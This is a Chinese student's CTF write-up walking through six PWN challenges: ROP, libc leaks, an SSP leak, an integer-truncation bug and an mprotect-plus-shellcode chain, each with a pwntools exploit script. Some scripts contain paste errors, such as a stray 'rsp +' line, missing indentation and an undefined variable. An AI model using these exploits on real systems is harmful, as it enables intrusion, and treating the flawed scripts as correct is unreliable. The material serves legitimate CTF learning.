纪实:校内线上训练——PWN

近日,学校俱乐部举办了有关网安的比赛,不去不知道,真的是一句“我好菜”走天下……在此就是记录一下那些我做过的和没做上的题,其实看了一下别人的wp总是就差临门一脚,心情很糟 v_v 

接下来会按照顺序呢会连续记录PWN、REVERSE、MISC、WEB、CRYPTO的……

 

0x01 签到1

  这个题本来很简单,但是最初做的时候记忆混乱导致就感觉这题很怪……然而最后一想“签到题”应该莫得问题,所以就硬做:
  整个程序就很简单,栈溢出用ida算距离之后溢出覆盖ebp,跳到rdi_addr,(用ROP搞到rdi地址)之后这里是为了后来的字符串比较做铺垫,在ida里找到“meow”地址,直接跳转过去即可,之后拿到getshell!

ROPgadget --only "pop|ret" --binary qiaodao

通过ROPgadget获取rdi_addr

通过ida算出需要覆盖的距离,并且找到“meow”所在地址即可!

下面上一发我的payload:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io=remote()

payload=b'a'*0x100+p64(0xdeadbeefdeadbeef)+p64(0x401263)+p64(0x402004)+p64(0x401156)
#地址顺序:  rdi_addr+meow_addr+sh_addr

io.sendline(payload)

io.interactive()
io.close()

这样就获得了flag!

0x02 签到2

  这道题我感觉是有一个跳跃的,跟1比……

  ida反编译,发现没有后门程序,之后看了一下字符串也没有关键的字符串。sh函数又只有一个puts函数,再加上hint,就想到利用puts把地址输出出来。但是由于函数地址“随机”问题,所以就需要计算。这里用onegadget把execve低位地址搞到,在通过puts函数的低位地址和实际地址将中间差计算出来,就能搞到后门函数的实际地址啦!由于整个过程是需要两次输入才能完成,所以在搞到puts函数的信息后需要将整个程序重新跳回main函数,再次进行栈溢出问题。

one_gadget x64_libc.so.6

  通过查询靶机的exceve基地址来作进一步的求实际后门地址,所以我们剩下还需要知道实际地址和基地址之间的差距,这里就需要要puts函数了,通过他将差值计算出来。之后就可以如鱼得水,获得后门函数了!

  P.S:这里需要注意一下获得puts函数时要修改puts函数地址将其补全……

  废话不多说,直接payload:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io=remote()
elf=ELF('./qiandao2')
libc=ELF('./x64_libc.so.6')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
execve=0x45226
main_addr=0x40115f
rdi_addr=0x401233



payload1=b'a'*0x108+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendline(payload1)
puts_addr=u64(io.recv().ljust(8,b'\x00'))

offset=puts_addr-libc.symbols['puts']
execve_addr=offset+execve

payload2=b'a'*0x108+p64(execve_addr)
io.sendline(payload2)

io.interactive()

io.close()

 

之后附上大佬的解析:

  本题难度仍不大,某种意义上也是签到题,考察libc中函数地址的泄露。这道题溢出点和上一道类似,但是程序中没有system和exec系列的函数,因此需要获取libc地址来调用。

  由于ASLR开启,每次程序启动libc会加载到随机的地址,但是libc中函数相对基址的偏移不会变,函数地址的低12位也不会变。

  在函数完成第一次调用后,函数的真实地址保存在程序的GOT中,因此读取GOT中的函数真实地址,然后从给出的libc文件获取函数相对基址的偏移,从而计算libc加载的基址,进而接合函数偏移可以获得任意函数的真实地址。

libcbase = func1_real_addr - func1_offset
func2_real_addr = libcbase + func2_offset

  其中func1_real_addr从GOT中泄露,而两个offset从下载的libc文件中获取。在获取到libc基址后,就可以在ROP链中使用libc中的函数和gadgets了。libc代码量很大,如果题目可执行文件中缺少某一功能的gadgets,可以考虑在libc中去寻找,此外libc中还有特殊的gadgets被称one_gadget,跳转到这些gadgets时,如果程序的状态能满足一定的约束条件时,可以只利用一个one_gedget,一次性的获取到shell。另外libc中也有 /bin/sh 的字符串可供使用。

0x03 let‘s overwrite (学习)

  本题就是属于就差最后一步没有搞出来那种,但究根溯源还是对整个的原理没太弄懂,接下来就是学习记录了,也会附上本题payload作为记录:

  首先通过checksec发现该程序是有canary的,之后在其他地方也并没有需要栈溢出覆盖ebp转出函数地址,并且由于canary可以通过栈销毁将所进行的函数地址打印出来,通过这一方式,将flag在栈中打印出来。

  这道题是典型的SSP Leak,在检测到canary被覆盖后libc会输出一段文字,其中会输出程序自己的名称argv[0] ,如果把 argv[0] 覆盖成想要输出的地址,就可以通过这个机制泄露信息。采用较高版本的libc的系统在这种情况下不会输出 argv[0] ,所以在本地很可能无法复现SSP Leak。本题考虑泄露main函数本体的汇编,其中是包含了flag的信息的。

  

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io=remote()
#这里比较粗暴直接将地址全面覆盖到argv[0]
payload=p64(flag_addr)*0x110

print(payload)
io.recv()
io.sendline(payload)

io.interactive()
io.close()

P.S.:这里要注意的是一次栈泄露是不能拿到所有数据,具体原因不太明白,估计是因为\x00打印截断了所以需要两次泄露,这个就需要通过gdb不断调试找,或者通过ida在关键处直接找地址

 

0x04 homework

  这道题通过ida反编译后,会直接联想到格式化问题。由于栈帧本来是int类型,但是后来又改成了long long类型,在这里就可以做一番手脚。并且在各种函数里只有大于0x100或者等于0的限制,所以很容易就可以想到小于0

  这里贴一部分dalao的发言:

  需要重点关注。其中p为int类型,而setpointer功能中,s为long long类型,且只检测了s不能小于0。因此如果将s设为0xffffffff,则s>0成立,而在s赋给p的过程中,s被截断为32位,则0xffffffff则对应了32位下的-1。这样就可以把p设置成负数了。

  之后就是通过栈的向上寻址,找到getchar的实际地址之后,在与基地址相减得到差值,在进一步得到system的地址和“/bin/sh”字符串的地址,最后发送payload得到flag

  上一发好看的payload:

from pwn import *
# io = process("./homework")
io = remote()
libc = ELF("x64_libc.so.6")
io.sendline("setpointer")
io.sendline("ffffffff")
for i in range(19):
io.sendline("pop")
addr = io.recv().decode()
addr = int(addr, 16)
libcbase = addr - libc.symbols["getchar"]
binsh = libcbase + next(libc.search(b"/bin/sh"))
system = libcbase + libc.symbols["system"]
print('%#x %#x' % (libcbase, binsh))
io.sendline("pop")
io.sendline("push")
io.sendline("%x"%system)
io.sendline("/bin/sh")
io.interactive()
io.close()

今天就先写到这里,余下的会陆续补出来……

---------------------------------补充-----------------------------------------

0x05 rot13

  这道题看着挺迷的,调试一下,就会发现套路还是那么个套路。通过泄露libc基址来进行栈溢出。

  这道题有个关键点是你用ROPgadget查“pop|ret” 是查不到的,但是正如提示里所说,可以用mov对寄存器的值进行调用修改。

0x0000000000400426: mov edi, dword ptr [rsp + 8]; mov rsi, qword ptr [rsp +0x10]; ret;
0x000000000040042b: mov esi, dword ptr [rsp + 0x10]; ret;
0x0000000000400425: mov rdi, qword ptr [rsp + 8]; mov rsi, qword ptr [rsp +0x10]; ret;
0x000000000040042a: mov rsi, qword ptr [rsp + 0x10]; ret;

  又因为通过栈溢出的时候返回的恰好是write函数,所以我们可以在这里做手脚:

  因为时write函数,rdi的值为1,即stdout,所以只能将值附到rsi上,所以这里我们就直接选用0x40042a。而在计算偏移量的过程我们可以选用_alarm函数,注意的是得到偏移量后要返回到栈溢出的函数处

  直接上payload:

from pwn import *
context.log_level = 'debug'
rot13 = ELF("./rot13")
libc_elf = ELF("./x64_libc.so.6")
mov_rsi_ret = 0x40042a
vul_func_addr = 0x400481
read_plt = rot13.plt["read"]
write_plt = rot13.plt["write"]
def leak(address):
  payload = b"A" * 0x40 + p64(0) + p64(mov_rsi_ret) + p64(write_plt) + p64(vul_func_addr) + p64(address)
   #                                  rsp        rsp+0x08     rsp + 0x10
  plen = len(payload)
  sh.send(payload)
  sh.recv(plen)
  leakdata = sh.recv()
  addr = u64(leakdata[0:8])
  print("leak addr %#x" % addr)
  return addr
alarm_got = rot13.got["alarm"]
alarm_addr = leak(alarm_got)
libcbase = alarm_addr - libc_elf.symbols["alarm"]
print("libcbase %#x" % libcbase)
rsp +system_addr = libcbase + libc_elf.symbols["system"]
binsh_addr = libcbase + next(libc_elf.search(b"/bin/sh"))
rdi_addr = libcbase + 0x21112
one_gadget = libcbase + 0x45226
payload = b"A" * 0x40 + p64(0) + p64(one_gadget)
# payload = b"A" * 0x40 + p64(0) + p64(rdi_addr) + p64(binsh_addr) +
p64(system_addr)
sh.sendline(payload)
sh.interactive()

0x06 rot13-hard

  这道题我自己理解的不太好,所以直接上大佬的wp了(其实就是懒qwq)

由于本题限制,无法获取shell,只能一次性将payload构造完毕并发送,然后在唯一一次的输出机会中将flag输出出来,同时这也使得之前的泄露libc的方法不再可行,但是plt中既没有exec,也没有open,那么只能考虑利用shellcode来执行代码。
shellcode需要放到一个固定的可写的内存位置,IDA中看不到 .bss 和 .data ,不过仍然可以在gdb利用 vmmap 命令找到DATA段的位置位于0x601000-0x602000。因为开启了NX保护,所以需要调用mprotect系统调用来改变写入shellcode的内存页的属性。
题中alarm函数是系统调用,那么在libc中alarm的函数体内一定有syscall指令,在IDA中查看可以得到syscall指令位于alarm+5处(偏移0xCC285),因为ALSR时函数地址低12位不变,所以我们只要把got中的alarm地址的最低字节由 \x80 覆盖为 \x85 即可,此时调用alarm相当于调用syscall指令。 mprotect的系统调用号为10,在syscall时需要将rax的值置为10,而read系统调用的返回值为读取的字节数,储存在rax中,所以可以利用 read(0, addr, 10) 来同时达到覆盖got并控制rax的效果。

 

from pwn import *
# context.log_level = 'debug'
context.arch = "amd64"
# sh = remote("47.94.252.112", 11000)
sh = remote("everything411.top", 10099)# sh = remote("everything411.top", 10016)
# sh = process("./rot13")
rot13 = ELF("./rot13")
read_plt = rot13.plt["read"]
write_plt = rot13.plt["write"]
alarm_plt = rot13.plt["alarm"]
alarm_got = rot13.got["alarm"]
data_addr = 0x601000
shellcode_addr = data_addr + 0x100
# 避开.plt.got
mov_rdi_rsp0x8_rsi_rsp0x10_ret = 0x400425
mov_rsi_rsp0x10_ret = 0x40042A
pop_rdx_rbp_ret = 0x40047e
pop_rbp_ret = 0x40047f
leave_ret = 0x4004b6
shellcode = asm(shellcraft.execve("/bin/cat", ("cat","flag")))
payload = b"A" * 0x40 + p64(0xdeadbeef)
payload += p64(mov_rdi_rsp0x8_rsi_rsp0x10_ret) + p64(pop_rdx_rbp_ret) + p64(0) + p64(shellcode_addr)
# mov_rdi_rsp0x8_rsi_rsp0x10_ret -> rdi = 0; rsi = 0x601100;
# pop_rdx_rbp_ret -> rdx = 0; rbp = 0x601100; 本条指令仅用于清栈,将rsp指向下一个gadget地址
payload += p64(pop_rdx_rbp_ret) + p64(len(shellcode)) + p64(0xdeadbeef) +
p64(read_plt)
# pop_rdx_rbp_ret -> rdx = len(shellcode); rbp = 0xdeadbeef;
# read_plt -> read(rdi=0, rsi=0x601100, rdx=len(shellcode)) 读取shellcode到0x601100
payload += p64(mov_rsi_rsp0x10_ret) + p64(pop_rdx_rbp_ret) + p64(10) +
p64(alarm_got - 9) + p64(read_plt)
# mov_rsi_rsp0x10_ret -> rsi = alarm_got - 9;
# pop_rdx_rbp_ret -> rdx = 10; rbp = alarm_got - 9; 控制rdx,并清栈
# read_plt -> read(rdi=0, rsi=alarm_got-9, rdx=10) 覆盖alarm_got最低字节,并控制rax=10
payload += p64(mov_rdi_rsp0x8_rsi_rsp0x10_ret) + p64(pop_rdx_rbp_ret) +
p64(data_addr) + p64(0x1000)
# mov_rdi_rsp0x8_rsi_rsp0x10_ret -> rdi = 0x601000; rsi = 0x1000;
# pop_rdx_rbp_ret -> rdx = 0x601000; rbp = 0x1000; 本条指令仅用于清栈,将rsp指向下一个gadget地址
payload += p64(pop_rdx_rbp_ret) + p64(7) + p64(0xdeadbeef) + p64(alarm_plt) +
p64(shellcode_addr)
# pop_rdx_rbp_ret -> rdx = 7(RWX); rbp = 0xdeadbeef;
# alarm_plt -> syscall(rax=10, rdi=0x601000, rsi=0x1000, rdx=7) call mprotect
# shellcode_addr -> 调用shellcode
payload = payload.ljust(0x100) # payload调整为成0x100字节,ROP中的read将从第0x101字节开始读取
payload += shellcode # ROP第一个read,读取shellcode
payload += b"A" * 9 + b"\x85" # ROP第二个read
sh.send(payload)
sh.recv(0x100)
print(sh.recvall().decode())
sh.close()

 

  

posted @ 2020-08-13 16:14  爱做梦的7ixia  阅读(177)  评论(0编辑  收藏  举报